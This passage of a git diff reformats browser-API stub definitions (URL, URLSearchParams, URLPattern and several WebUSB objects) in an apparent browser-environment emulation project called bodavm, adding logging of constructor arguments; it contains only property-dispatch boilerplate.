bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/URLPattern.js b/env_xbb_lastest_jsdom/env/URLPattern.js index 07b9fd6c..7e7a442b 100644 --- a/env_xbb_lastest_jsdom/env/URLPattern.js +++ b/env_xbb_lastest_jsdom/env/URLPattern.js @@ -1,13 +1,94 @@ -// URLPattern对象 -bodavm.memory.globalobj['URLPattern'] = function URLPattern(){this._boarg= new bodaobj.window.URLPattern();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLPattern'], "URLPattern"); -bodavm.toolsFunc.defineProperty('URLPattern', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "username_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "password_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hostname_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "pathname_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "search_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hash_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "exec", {configurable:true, enumerable:true, writable:true, value:function exec (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "exec", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "test", {configurable:true, enumerable:true, writable:true, value:function test (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "test", arguments)}},'prototype'); +// URLPattern对象 + +bodavm.memory.globalobj['URLPattern'] = function URLPattern() { + console.log_copy('URLPattern 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.URLPattern(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLPattern'], "URLPattern"); +bodavm.toolsFunc.defineProperty('URLPattern', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "username_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "password_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hostname_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "pathname_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "search_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hash_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "exec", { + configurable: true, + enumerable: true, + writable: true, + value: function exec() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "exec", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLPattern', "test", { + configurable: true, + enumerable: true, + writable: true, + value: function test() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "test", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/URLSearchParams.js b/env_xbb_lastest_jsdom/env/URLSearchParams.js index efe1c940..f3b3148e 100644 --- a/env_xbb_lastest_jsdom/env/URLSearchParams.js +++ b/env_xbb_lastest_jsdom/env/URLSearchParams.js @@ -1,30 +1,110 @@ // URLSearchParams对象 -bodavm.memory.globalobj['URLSearchParams'] = function URLSearchParams(){this._boarg= new bodaobj.window.URLSearchParams();this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['URLSearchParams'] = function URLSearchParams() { + console.log_copy('URLSearchParams 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.URLSearchParams(); + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLSearchParams'], "URLSearchParams"); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "sort", {configurable:true, enumerable:true, writable:true, value:function sort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "sort", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "toString", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('URLSearchParams', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "sort", { + configurable: true, + enumerable: true, + writable: true, + value: function sort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "sort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "toString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URLSearchParams', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USB.js b/env_xbb_lastest_jsdom/env/USB.js index a09428f8..c555dfea 100644 --- a/env_xbb_lastest_jsdom/env/USB.js +++ b/env_xbb_lastest_jsdom/env/USB.js @@ -1,9 +1,55 @@ -// USB对象 -bodavm.memory.globalobj['USB'] = function USB(){if (!(this instanceof USB)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USB'], "USB"); -bodavm.memory.globalobj['USB'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['USB'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('USB', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "getDevices", {configurable:true, enumerable:true, writable:true, value:function getDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "getDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "requestDevice", arguments)}},'prototype'); +// USB对象 + +bodavm.memory.globalobj['USB'] = function USB() { + console.log_copy('USB 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USB)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USB'], "USB"); +bodavm.memory.globalobj['USB'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['USB'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('USB', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "getDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function getDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "getDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USB', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "requestDevice", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBAlternateInterface.js b/env_xbb_lastest_jsdom/env/USBAlternateInterface.js index 713cbfac..381d83d1 100644 --- a/env_xbb_lastest_jsdom/env/USBAlternateInterface.js +++ b/env_xbb_lastest_jsdom/env/USBAlternateInterface.js @@ -1,9 +1,65 @@ -// USBAlternateInterface对象 -bodavm.memory.globalobj['USBAlternateInterface'] = function USBAlternateInterface(){if (!(this instanceof USBAlternateInterface)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBAlternateInterface': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBAlternateInterface'], "USBAlternateInterface"); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "alternateSetting", {configurable:true, enumerable:true, get:function alternateSetting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "alternateSetting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceClass", {configurable:true, enumerable:true, get:function interfaceClass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceClass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceSubclass", {configurable:true, enumerable:true, get:function interfaceSubclass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceSubclass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceProtocol", {configurable:true, enumerable:true, get:function interfaceProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceName", {configurable:true, enumerable:true, get:function interfaceName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "endpoints", {configurable:true, enumerable:true, get:function endpoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "endpoints_get", arguments)}, set:undefined},'prototype'); +// USBAlternateInterface对象 + +bodavm.memory.globalobj['USBAlternateInterface'] = function USBAlternateInterface() { + console.log_copy('USBAlternateInterface 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBAlternateInterface)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBAlternateInterface': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBAlternateInterface'], "USBAlternateInterface"); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "alternateSetting", { + configurable: true, + enumerable: true, + get: function alternateSetting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "alternateSetting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceClass", { + configurable: true, + enumerable: true, + get: function interfaceClass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceClass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceSubclass", { + configurable: true, + enumerable: true, + get: function interfaceSubclass() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceSubclass_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceProtocol", { + configurable: true, + enumerable: true, + get: function interfaceProtocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceProtocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceName", { + configurable: true, + enumerable: true, + get: function interfaceName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBAlternateInterface', "endpoints", { + configurable: true, + enumerable: true, + get: function endpoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "endpoints_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBConfiguration.js b/env_xbb_lastest_jsdom/env/USBConfiguration.js index 6aa575ab..69692550 100644 --- a/env_xbb_lastest_jsdom/env/USBConfiguration.js +++ b/env_xbb_lastest_jsdom/env/USBConfiguration.js @@ -1,6 +1,41 @@ -// USBConfiguration对象 -bodavm.memory.globalobj['USBConfiguration'] = function USBConfiguration(){if (!(this instanceof USBConfiguration)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConfiguration': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConfiguration'], "USBConfiguration"); -bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationValue", {configurable:true, enumerable:true, get:function configurationValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationName", {configurable:true, enumerable:true, get:function configurationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBConfiguration', "interfaces", {configurable:true, enumerable:true, get:function interfaces (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "interfaces_get", arguments)}, set:undefined},'prototype'); +// USBConfiguration对象 + +bodavm.memory.globalobj['USBConfiguration'] = function USBConfiguration() { + console.log_copy('USBConfiguration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBConfiguration)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConfiguration': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConfiguration'], "USBConfiguration"); +bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationValue", { + configurable: true, + enumerable: true, + get: function configurationValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationName", { + configurable: true, + enumerable: true, + get: function configurationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBConfiguration', "interfaces", { + configurable: true, + enumerable: true, + get: function interfaces() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "interfaces_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBConnectionEvent.js b/env_xbb_lastest_jsdom/env/USBConnectionEvent.js index 009f5d29..bff433c0 100644 --- a/env_xbb_lastest_jsdom/env/USBConnectionEvent.js +++ b/env_xbb_lastest_jsdom/env/USBConnectionEvent.js @@ -1,6 +1,27 @@ -// USBConnectionEvent对象 -bodavm.memory.globalobj['USBConnectionEvent'] = function USBConnectionEvent(){if (!(this instanceof USBConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConnectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConnectionEvent'], "USBConnectionEvent"); -bodavm.memory.globalobj['USBConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['USBConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('USBConnectionEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConnectionEvent'].prototype, "USBConnectionEvent", "device_get", arguments)}, set:undefined},'prototype'); +// USBConnectionEvent对象 + +bodavm.memory.globalobj['USBConnectionEvent'] = function USBConnectionEvent() { + console.log_copy('USBConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConnectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConnectionEvent'], "USBConnectionEvent"); +bodavm.memory.globalobj['USBConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['USBConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('USBConnectionEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConnectionEvent'].prototype, "USBConnectionEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBDevice.js b/env_xbb_lastest_jsdom/env/USBDevice.js index a34b0e69..9240e5b6 100644 --- a/env_xbb_lastest_jsdom/env/USBDevice.js +++ b/env_xbb_lastest_jsdom/env/USBDevice.js @@ -1,35 +1,273 @@ -// USBDevice对象 -bodavm.memory.globalobj['USBDevice'] = function USBDevice(){if (!(this instanceof USBDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBDevice'], "USBDevice"); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMajor", {configurable:true, enumerable:true, get:function usbVersionMajor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMajor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMinor", {configurable:true, enumerable:true, get:function usbVersionMinor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMinor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionSubminor", {configurable:true, enumerable:true, get:function usbVersionSubminor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, 